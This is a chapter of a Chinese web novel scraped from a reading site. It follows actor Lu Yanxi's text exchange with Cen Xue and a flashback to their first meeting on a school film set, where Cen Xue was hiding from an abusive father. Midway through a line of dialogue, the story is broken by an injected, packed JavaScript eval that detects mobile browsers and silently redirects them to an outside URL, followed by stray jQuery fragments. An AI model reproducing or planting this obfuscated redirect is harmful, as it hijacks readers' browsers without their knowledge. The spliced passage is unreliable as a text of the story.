默认冷灰
24号文字
方正启体

8.第 8 章

作者:深其月夜本书字数:K更新时间:
    距离《闪光革命》几百公里外的影视城。


    此时已经入夜,片场却灯火通明,趁着调整布景,剧务跑到一辆保姆车前赔罪,搓手讪笑。


    “真不好意思,陆哥,这场夜戏预计拍到凌晨,麻烦您先等等。”


    这是陆雁昔的车。


    陆雁昔的行程非常紧凑,录完《闪光革命》第二天就飞到这个剧组拍戏,几乎无缝衔接。


    从选秀特邀嘉宾到进组,中间休息不超过三四个小时,可当他做好造型西装革履出现在剧组面前,已然是剧中那个精英冷硬的律师角色,天衣无缝,毫无破绽。


    就算知道他脾气最好,可见到入戏的他,还是忍不住一怵。


    陆雁昔取下造型用的银丝框眼镜,少了几分凛冽,对剧务温和道:


    “没事,今天群演也多,大家都是一起受累。”


    又转头对车里说:“潘潘,找下有没有24小时的糖水店,天气热,我请大家吃糖水。”


    “好嘞!”


    潘潘是他的助理,一个二十多岁的女孩,回应声积极又快速。


    剧务眼睛一亮,连忙替大家道谢。


    等回到工作那边他仍在感叹,都说跟陆雁昔的组是最舒服的,果不其然啊。


    然而他一走,保姆车里又是另一番光景了。


    “个破剧组,”潘潘没好气吐槽,“早就跟他们说了行程,结果还是安排到半夜,干嘛呀这是。”


    在潘潘视角里,昨晚陆雁昔被《闪光革命》留了一夜去拍各种素材,大清早才回来,就忙着要赶飞机去剧组。


    飞机上也不太能好好休息,结果一落地,好么,又被蹭热度上热搜了!


    还是陆哥人好体面,一看是以前共演过的,连忙阻止公司去公关,说是帮人帮到底,被蹭蹭也不掉肉。


    唉,简直是圈中活菩萨,给人白嫖啊。


    “拍完这期选秀咱们也算还完人情了。陆哥你就是脾气太好——”


    《闪光革命》的总制作人早年推荐过陆雁昔一个角色,那是他第一次在荧幕上亮相的机会。


    潘潘关切道:“陆哥,要不你先睡会儿,手机的消息我帮你看着。”


    除了在飞机上,她留意到陆雁昔总是捧着手机不离身,每隔几秒就要打开看看,似乎是害怕错过谁的消息,所以才这样提的。


    看看人眼睛都熬红了,造孽。


    谁知陆雁昔拒绝,还将手机握紧了些,生怕潘潘去抢似的。


    他甚至叮嘱:“等戏开拍,你看见信息来马上给我,直接暂停拍摄也没关系。”


    说什么,什么到。


    话音未落,黑屏的手机突然一亮。


    潘潘屏住呼吸。


    她见陆雁昔呼吸都急促几分,手抖,面部识别失败,输入密码又输错几次,这才打开。


    识相地低头回避,她闭嘴,不说话了。


    陆雁昔盯住屏幕。


    新信息是短信,来自未知联系人。


    [未知联系人]:


    [谢谢你帮我遮掩昨晚的事,颜沛很麻烦吧。算我欠你一个人情。]


    不过短短两行字,他整整看了许久,恨不得把字形都拆开将那些横撇竖直全刻脑子里,点开输入键盘,仓皇按下几个拼音,却又删去。


    的确。


    他今天接了几通颜沛的电话,话里话外,旁敲侧击。


    至于人情。


    陆雁昔眼神闪烁,终于回复。


    [那你现在愿意见我了么?]


    昨晚他并没有在天台等到岑雪,但仍然承认了颜沛的逼问。


    [有些事我想当面解释……今天的热搜,不是我做的。]


    那不过是他想要赢过颜沛的一点卑劣罢了。


    仿佛这么说,他就能毫无芥蒂昧下这珍贵的人情。


    陆雁昔手边放着剧本,刚好翻到今夜与其他角色对手戏的那一页。


    上面写着,精英律师对他人议论嗤之以鼻:初恋?我从来就没有那种东西过。


    *


    七年前的夏天,S市,市立三中。


    情景剧《青春期》租用了市立三中空掉的高三教室,作为主角团在学校剧情的取景。


    学校白天剧情多,所以这阵子收工都比较早。


    不过陆逢均为人严谨,最注重风评,每次都要求陆雁昔留下,直到片场工作人员全部都收工完毕才能回去。


    “……爸,”那天七点回程的车上,陆雁昔小声道,“我手机忘在教室里了。”


    经纪人立马道:“那我下车帮雁昔拿吧。”


    “让他自己去!长长记性。”


    陆逢均皱眉,“粗心大意,尽给别人添麻烦,我看就是张岩你太惯着他,迟早犯更大的错。”


    张岩看了陆雁昔一眼,闭上了嘴。


    她十几年前就在给陆逢均工作,看着陆雁昔长大,可以说是他人生中第一个重要女性长辈。陆雁昔这一出道,也就顺势接管了他的相关事务。


    可陆逢均是老板,终究压一头。


    下个路口,陆雁昔沉默开门下车,自己想办法回程。


    他打了一辆车回市立三中。


    今天周末,剧组一走学校里基本没人了,不过为了方便拍摄剧组都有门禁卡,畅通无阻。


    独自走在校园内空无一人的林荫道,耳边只有自己的脚步声和风经过树叶的沙沙作响——


    ‘你知道吗,学校晚上……闹鬼。’


    ‘好像就咱们拍戏的这间教室,有人看到晚上里面的灯自己亮了。’


    ‘可每天剧组不都会锁门么?’


    ‘嗨呀!所以是鬼嘛!’


    不知为何,陆雁昔脑子里忽然闪回白天听到的群演聊天,顿时炎热消散几分,风打在身上,仿佛浸入了骨头里,阴着发冷。


    他眨眼,竟从余光瞥到些许红色。顿时呼吸放慢,有预感般猛地回头。


    什么也没有。


    ……原来是夕阳的火烧云啊。


    夏天白昼长,现在天空还不见半分暗调,从远边延伸到眼前好大一片火烧云紧跟在他身后,不知道多久。


    他像是分界线的中心,身后的世界被夕阳染上极深的颜色。


    陆雁昔加快了脚步。


    高三的教学楼是和高一高二分开的,最安静,也在学校的最深处。


    他埋头快步前行,像是被那几抹红追赶着,到最后竟然跑了起来。


    ……因为白天那些话害怕了吗?不对吧。


    他只是莫名有些喘不上气。


    迫切地想要——结束独处。


    陆雁昔跨过楼梯,轻而易举地推开了本该锁上的教室门。


    他抬头,这才发现教室中间的一盏白炽灯被打开了。


    白色的光映射在下方,与周边亮度形成对比,仿佛是命运的指示,要他第一眼就注意到这里。


    在灯下,那个人的身形被勾勒出一圈圣洁的轮廓。


    可偏偏今天的火烧云似乎盯准了陆雁昔,如影随形。


    在那人听到声响、循声侧头的一瞬,赤色的云霞透过窗户侵袭而来,少年纯黑的眼眸像是被火映出光亮,发丝也染上落日的余晖。


    “你……”


    陆雁昔看得失神,下意识向前一步。


    “你是——”


    少年仓促站起身。


    他动作很快,像是一只猫,几步跨上旁边的桌面三两下跳到墙边,推开窗户,轻巧地翻墙而出。


    陆雁昔后知后觉追上他,却被桌椅挡住,最后只能扒在窗户边追着他的背影消失在拐角。


    是他不对,惊动了那个人。


    陆雁昔抬眼,看见走廊外的天空。


    火烧云不知道何时起已经燃烧至尽,赤红褪去,挂上夜晚该有冷色天幕。


    等回过神来,陆雁昔只记得那双雾蒙蒙的眼睛,连光都偏爱他,在他的睫毛上滑过跃动。


    撑着桌子坐下,他揪住胸口的衣领,从心脏处往外延伸的麻痒占据全身,耳边徘徊着杂乱的暗响,好一会儿才发现那是自己杂乱无序的心跳。


    直至理智复苏。


    他终于记起少年的名字。


    *


    “许麟,以后你就坐主角的斜前方。”


    剧组正安排群演在教室的座位。


    主角团当然是前后加同桌,但为了画面和谐,附近的群演也都得选些干净漂亮的孩子,许麟就在其中。


    可直到刚才那猝不及防的碰面,陆雁昔才对这名字有了具体的形象轮廓。


    拍戏时不经意间抬眼扫过的、斜前方撑起老式运动校服的后背,还有脖子上的碎发也变得清晰。


    陆雁昔满怀期待着第二天的见面。


    可他却带着一身伤来到了剧组,由于伤势太明显,打乱了整个早晨的拍摄。


    ……


    再度重逢,陆雁昔甚至都没来得及细思岑雪与许麟的关系。


    光是看见那张与七年前无异、细腻成熟更甚的脸,他就完全怔愣住了。


    并目不转睛地,随着岑雪眼眸间的细碎光晕辗转——


    到底是谁想的办法?


    抓住那些星星似的东西,来点缀他令人着迷的眼睛。


    陆雁昔低下头,勉强压下涌上鼻尖的酸意。


    在悸动的情愫被唤醒后,本能的雀跃与不敢确认的欣喜重叠在一起。


    此时此刻,他也终于确认了当年那一天燃烧着云霞的傍晚自己的心情。


    但已经太晚了。


    *


    潘潘谨遵陆雁昔的指令,捧着那部手机不敢离手。


    直到半夜下戏,陆雁昔带着一身疲惫回到保姆车,屏幕就心有灵犀地亮了起来。


    “陆哥,给!”潘潘闭眼,看都不看通知预览的字。


    她不是不好奇,她是怕自己看到什么不该看的,要是在张总——张岩面前说漏嘴,那就完蛋好吗。


    而且依据她混迹各大粉圈经验,一般来说当明星莫名其妙开始长时间玩手机,那铁定是有嫂子没跑了。


    天呐,这要是被粉丝发现了——潘潘倒吸一口凉气。


    顿时满脑子只有两个字:守护!


    她把保姆车的灯都打开,小心翼翼去瞧陆雁昔的表情。


    收到新信息不过半分钟,陆雁昔浑身的牛马之力被一扫而光,精神焕发。


    果然,潘潘少女心捂嘴,这妥妥的有情饮水饱呀。


    陆雁昔反复滑动不过几行的聊天记录。


    [未知联系人]最新:


    [可以,正好我也有事问你。不过在节目不方便吧?]


    陆雁昔:


    [我等你录完。]


    [你想出道吗?虽然我不是很了解……我会帮你的。]


    [未知联系人]:[请有些契约精神。]


    陆雁昔滑跪很快:[对不起,是我太功利了。]


    [未知联系人]:


    [不,我的意思是,我签的是一轮游的合同。]


    [不过除了这个,你就没有别的需要道歉的么?]


    [想见我的话,只是为了证明你在热搜上的无辜吗?]


    陆雁昔僵住。


    他张张嘴,忽然背后有股幻痛袭来,不由得挺直了腰。


    皱着眉忍疼,陆雁昔犹豫地在聊天框输入“对不起”的字节,可还不等他发出去——


    [未知联系人]:[算了。]


    陆雁昔把这三个字删去了。


    那是一声毫无掩饰的叹息,却又含着些许逃避的侥幸似的,潘潘眉毛一跳,不敢动作太明显,贼眉鼠眼地偷偷关注陆雁昔。


    妈耶……人生灵魂程度的黯淡,她也算是见到了。


    这就是爱情的力量吗?上秒让人生下秒令人死,真恐怖。


    *


    [陆雁昔]:


    [颜沛这一周应该都不在,他要去参加另一个音乐节目的录制。]


    岑雪看到消息,不打算再回复。


    把手机藏在衣服的内兜里,他走出洗手间。


    这时候宿舍已经熄灯,除了插座没有电,据说有人一口气带了十只手电筒分发给其他练习生,陈肖河给岑雪借到一只,那些想跟岑雪打交道的,也终于能寒暄几句。


    陈肖河好奇:“哥、岑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15935430|177041||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    哥,你们俩去录啥了,这么久才回来。”


    “补录初舞台,”岑雪敷衍笑笑,“你叫我名字就行,大家现在都算同学了。”


    叩答一声,从陈肖河那得来的手电筒射出一道光。


    岑雪拿光扫扫上铺傅揉云的脸:“还没睡在想什么呢?”


    不到两秒,傅揉云心虚睁开眼:“哥,你怎么发现的啊。”


    岑雪在下铺坐下:“可能是因为没人会睡觉的时候呲个大牙乐呵吧。”


    夜晚太安静,稍微的动静也显得突出,傅揉云从梯子上下来的吱呀咔嚓,岑雪已经在脑子里过完一遍先锋打击乐现场。


    “哥,”傅揉云在他身边坐下,“你真的夸我特别好特别好么?”


    傅揉云的补录内容,是根据岑雪那边cue的互动。


    自从知道岑雪对他的印象评价,他就一直飘飘然到现在。


    岑雪:“这已经是补录完你问的第五次了,我准许你问点别的。”


    傅揉云:“那你当初是怎么拿到那一集戏份的呀。”


    岑雪:“……”


    还不如问上一个。


    不过傅揉云之前无条件维护他的举动——他心里还是很受用的。


    哪怕他并不知道岑雪这些过往,但第一时间还是坚定保护他的意愿和隐私。


    但事情已经发生,捂嘴也没用。


    干脆就闹大得更彻底一点,毕竟有什么是能比死遁掉马还窒息的呢?


    岑雪说:“我好像从没提起过家里的事。”


    傅揉云点头:“我只知道合同上哥的紧急联系人是母亲。”


    “……哦,”岑雪像审问犯人似的,用手电筒射向他,“你翻过我的合同了。”


    故意压低的嗓音,在寂静的夜里放轻,却钻进傅揉云的耳朵里。


    不好,他把手藏在身后,克制想要去触碰岑雪的冲动——昏暗环境下的模糊感,引诱他下意识要去确认岑雪的轮廓。


    岑雪身上只有背后照进屋的月光与手电反光,那是一层暗蓝的雾霭。


    他终于能有机会揭开几分神秘,知晓对方的过去。


    “只、只是作为了解员工的基本素养, ”傅揉云吞咽了一下,“哥,你这样算不算岔开话题?”


    “真不知道有什么有趣的。”


    岑雪撑着下巴,一下一下晃动手电,可他还是满足了傅揉云的愿望。


    “你知道我是为了赚生活费才去的吧?其实那时候还有一个原因。”


    “我瞒着我爸报了很远的大学被发现了,他生气要打我,我就躲着他。剧组日结还包饭,正好可以不回家,等到下戏——”


    剧组会锁教室们,但总是忘了窗户。


    岑雪趁人走光,就翻窗户回到教室里待着。


    一个人的话拿什么打发时间好?他先看完了剧组布景阅读角用的所有书,实在无聊,就做起高考前没来得及刷完的卷子。


    直到深夜,等家里人睡觉才回去。


    虽然不碰面会缓解他爹的怒气值,但夜不归宿会引发二段爆发,不管怎么说,至少能减少发生冲突的概率。


    “当时剧组还有传闹鬼,说是每天晚上,锁上的教室都会自动亮灯……你猜真相是什么?”


    傅揉云的思路已经完全跟岑雪走了:“是什么?”


    “是——”


    岑雪猛地把手电从下巴往上打,“我啊!”


    傅揉云呼吸一滞:“……!!!”


    他捂住噗噗乱跳的小心脏,面带痛苦面具。


    岑雪憋住笑声,去拍他肩膀:“对不起,对不起。”


    原本以为大学前的暑假能这样稍微和平地过去。


    “结果被陆雁昔发现了,”他垂下眼眸,“我以为他要揭发我,慌不择路跑掉,那天晚上很早就回家去了。”


    回家的时候,他爸许中强正在发酒疯。


    当头扔来一筐杂物,他没反应过来,接得结结实实。


    刚好里面有一把剪刀,半钝的剪头划了好大一条口子,从侧脸到耳朵下面。


    第一时间他没察觉到疼,而是担心明天的拍摄,激动之下将性质变成了互殴。


    再提起从前少年心性的冲动,岑雪有些不好意思:“挺吃惊吧,和现在的我差别很大。”


    “其实……哥你刚才就挺像以前。”


    “是么,你觉得我现在是什么样子的?”


    看什么都很平淡,好像怎样也无所谓的样子——也没有任何期待。


    反倒是这样,才更让人捉摸不透,小心翼翼。


    傅揉云不敢说出来。他把岑雪捉弄自己时外露的那点活泼的精气神珍藏,转而问起另一件在意的事。


    “哥,那个人现在的话——”


    “他啊,他死了。”


    他们都知道话里的人是谁。


    岑雪想起什么,补充:“在我上大学之前死的。”


    傅揉云挨近他坐了坐。


    视野受限,距离估计错误,这一动两人的肩膀交错,睡衣的衣料彼此摩擦,透过薄薄的那一层,体温相贴着体温,最终稍低一方败落,接受传递而来的源源不断的热意。


    岑雪感知到傅揉云说话不经意间呼出的温热气息扫在脖颈。


    “那……是好事对吧?”他问。


    岑雪一愣,半晌才露出一个无奈的笑:“嗯,是好事。”


    阴差阳错,这是岑雪第一次把这些过往讲给别人听。


    所以这也是他第一次,旁观者般回顾混乱又糟心的过去。


    恰恰有傅揉云这个体贴的倾听者,承担了半分回忆的复杂情绪,能及时将岑雪从中脱离。


    “第二天我去剧组,被狠狠骂了一通。”


    “这时候陆雁昔站了出来,拜托他的经纪人和剧组交涉,把还没定下来的一集角色给我。”


    那个角色刚好有负伤的设定,这样也不影响拍摄了。


    岑雪抬头,望着天花板。


    那时候他觉得陆雁昔也是个很好、很好的人。


    现在想来简直是倒霉的开始。


    初恋?还不如从来没有那些东西过。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)